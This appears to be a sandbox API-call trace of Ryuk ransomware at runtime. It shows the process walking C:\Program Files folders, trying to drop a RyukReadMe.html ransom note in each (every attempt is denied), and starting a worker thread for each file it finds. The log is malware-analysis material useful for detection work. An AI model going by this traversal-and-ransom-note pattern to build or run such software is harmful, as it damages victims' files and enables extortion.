	[0188.826] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ad6c0 | out: lpFindFileData=0x26ad6c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80471418, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf22307c6, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf22307c6, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x64, dwReserved1=0x0, cFileName="install.ins", cAlternateFileName="")) returned 0
	[0188.826] FindClose (in: hFindFile=0x7a340 | out: hFindFile=0x7a340) returned 1
	[0188.827] SetLastError (dwErrCode=0x0) 
	[0188.827] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\RyukReadMe.html" (normalized: "c:\\program files\\internet explorer\\signup\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0188.827] GetLastError () returned 0x5
	[0188.827] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26add38, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26add38, lpOverlapped=0x0) returned 0
	[0188.827] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0188.827] FindNextFileW (in: hFindFile=0x79b60, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x855fc7e1, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x855fc7e1, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x85622942, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3bc00, dwReserved0=0x40, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1
	[0188.827] FindNextFileW (in: hFindFile=0x79b60, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x855fc7e1, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x855fc7e1, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x85622942, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3bc00, dwReserved0=0x40, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 0
	[0188.828] FindClose (in: hFindFile=0x79b60 | out: hFindFile=0x79b60) returned 1
	[0188.828] SetLastError (dwErrCode=0x0) 
	[0188.828] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\RyukReadMe.html" (normalized: "c:\\program files\\internet explorer\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0188.828] GetLastError () returned 0x5
	[0188.828] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0) returned 0
	[0188.828] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0188.828] FindNextFileW (in: hFindFile=0x79e00, lpFindFileData=0x26ae520 | out: lpFindFileData=0x26ae520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="Microsoft Analysis Services", cAlternateFileName="MICROS~2")) returned 1
	[0188.828] SetLastError (dwErrCode=0x0) 
	[0188.828] CreateFileW (lpFileName="C:\\Program Files\\RyukReadMe.html" (normalized: "c:\\program files\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0188.829] GetLastError () returned 0x5
	[0188.829] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0) returned 0
	[0188.829] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0188.829] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\*.*", lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x40, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x79b60
	[0188.829] FindNextFileW (in: hFindFile=0x79b60, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x40, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0188.830] FindNextFileW (in: hFindFile=0x79b60, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x40, dwReserved1=0x0, cFileName="AS OLEDB", cAlternateFileName="ASOLED~1")) returned 1
	[0188.830] SetLastError (dwErrCode=0x0) 
	[0188.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\RyukReadMe.html" (normalized: "c:\\program files\\microsoft analysis services\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0188.830] GetLastError () returned 0x5
	[0188.830] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26add38, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26add38, lpOverlapped=0x0) returned 0
	[0188.830] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0188.830] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\*.*", lpFindFileData=0x26ad6c0 | out: lpFindFileData=0x26ad6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x78, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a340
	[0188.831] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ad6c0 | out: lpFindFileData=0x26ad6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x78, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0188.831] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ad6c0 | out: lpFindFileData=0x26ad6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x78, dwReserved1=0x0, cFileName="10", cAlternateFileName="")) returned 1
	[0188.831] SetLastError (dwErrCode=0x0) 
	[0188.831] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\RyukReadMe.html" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0188.831] GetLastError () returned 0x5
	[0188.831] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0) returned 0
	[0188.831] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0188.832] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\*.*", lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8a, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x79bc0
	[0189.316] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8a, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0189.317] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8a, dwReserved1=0x0, cFileName="Cartridges", cAlternateFileName="CARTRI~1")) returned 1
	[0189.317] SetLastError (dwErrCode=0x0) 
	[0189.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\RyukReadMe.html" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0189.317] GetLastError () returned 0x5
	[0189.317] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0189.317] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0189.317] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x90, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a460
	[0189.366] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x90, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0189.366] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51494530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x4360, dwReserved0=0x90, dwReserved1=0x0, cFileName="as80.xsl", cAlternateFileName="")) returned 1
	[0189.366] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0189.367] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf70
	[0189.370] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0189.370] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x5ed7d9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x4932, dwReserved0=0x90, dwReserved1=0x0, cFileName="as90.xsl", cAlternateFileName="")) returned 1
	[0189.370] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0189.371] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf74
	[0189.374] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0189.374] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81fdc00, ftCreationTime.dwHighDateTime=0x1c8dd0e, ftLastAccessTime.dwLowDateTime=0x51494530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa81fdc00, ftLastWriteTime.dwHighDateTime=0x1c8dd0e, nFileSizeHigh=0x0, nFileSizeLow=0x78e4, dwReserved0=0x90, dwReserved1=0x0, cFileName="Informix.xsl", cAlternateFileName="")) returned 1
	[0189.374] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0189.375] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf78
	[0189.376] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0189.377] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51494530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x712e, dwReserved0=0x90, dwReserved1=0x0, cFileName="msjet.xsl", cAlternateFileName="")) returned 1
	[0189.377] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0189.378] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf7c
	[0189.379] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0189.380] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51552c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x851c, dwReserved0=0x90, dwReserved1=0x0, cFileName="sql2000.xsl", cAlternateFileName="")) returned 1
	[0189.380] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0189.381] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf80
	[0189.383] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0189.384] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x7d92, dwReserved0=0x90, dwReserved1=0x0, cFileName="sql70.xsl", cAlternateFileName="")) returned 1
	[0189.384] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0189.385] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf84
	[0189.387] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0189.388] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51552c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x9a5b, dwReserved0=0x90, dwReserved1=0x0, cFileName="sql90.xsl", cAlternateFileName="")) returned 1
	[0189.388] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0189.388] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf88
	[0189.391] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0189.392] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81fdc00, ftCreationTime.dwHighDateTime=0x1c8dd0e, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa81fdc00, ftLastWriteTime.dwHighDateTime=0x1c8dd0e, nFileSizeHigh=0x0, nFileSizeLow=0x745e, dwReserved0=0x90, dwReserved1=0x0, cFileName="Sybase.xsl", cAlternateFileName="")) returned 1
	[0189.392] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0189.393] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf8c
	[0189.394] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0189.395] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81fdc00, ftCreationTime.dwHighDateTime=0x1c8dd0e, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa81fdc00, ftLastWriteTime.dwHighDateTime=0x1c8dd0e, nFileSizeHigh=0x0, nFileSizeLow=0x745e, dwReserved0=0x90, dwReserved1=0x0, cFileName="Sybase.xsl", cAlternateFileName="")) returned 0
	[0189.395] FindClose (in: hFindFile=0x7a460 | out: hFindFile=0x7a460) returned 1
	[0189.397] SetLastError (dwErrCode=0x0) 
	[0189.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\RyukReadMe.html" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0190.233] GetLastError () returned 0x5
	[0190.233] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0190.233] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0190.233] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3cf6c00, ftCreationTime.dwHighDateTime=0x1ca2caa, ftLastAccessTime.dwLowDateTime=0x5f005150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3cf6c00, ftLastWriteTime.dwHighDateTime=0x1ca2caa, nFileSizeHigh=0x0, nFileSizeLow=0x2a65d68, dwReserved0=0x8a, dwReserved1=0x0, cFileName="msmdlocal.dll", cAlternateFileName="MSMDLO~1.DLL")) returned 1
	[0190.233] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47fe200, ftCreationTime.dwHighDateTime=0x1ca2cab, ftLastAccessTime.dwLowDateTime=0x51552c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x47fe200, ftLastWriteTime.dwHighDateTime=0x1ca2cab, nFileSizeHigh=0x0, nFileSizeLow=0xbc4568, dwReserved0=0x8a, dwReserved1=0x0, cFileName="msmgdsrv.dll", cAlternateFileName="")) returned 1
	[0190.233] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b10f00, ftCreationTime.dwHighDateTime=0x1ca2cab, ftLastAccessTime.dwLowDateTime=0x5f28c8b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b10f00, ftLastWriteTime.dwHighDateTime=0x1ca2cab, nFileSizeHigh=0x0, nFileSizeLow=0x7c6f68, dwReserved0=0x8a, dwReserved1=0x0, cFileName="msolap100.dll", cAlternateFileName="MSOLAP~1.DLL")) returned 1
	[0190.234] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb46ad400, ftCreationTime.dwHighDateTime=0x1c8e1fb, ftLastAccessTime.dwLowDateTime=0x516f5b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb46ad400, ftLastWriteTime.dwHighDateTime=0x1c8e1fb, nFileSizeHigh=0x0, nFileSizeLow=0x4dc18, dwReserved0=0x8a, dwReserved1=0x0, cFileName="msolui100.dll", cAlternateFileName="MSOLUI~1.DLL")) returned 1
	[0190.234] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8a, dwReserved1=0x0, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 1
	[0190.234] SetLastError (dwErrCode=0x0) 
	[0190.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\RyukReadMe.html" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0190.234] GetLastError () returned 0x5
	[0190.234] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0190.234] CloseHandle (hObject=0xffffffffffffffff) returned 0
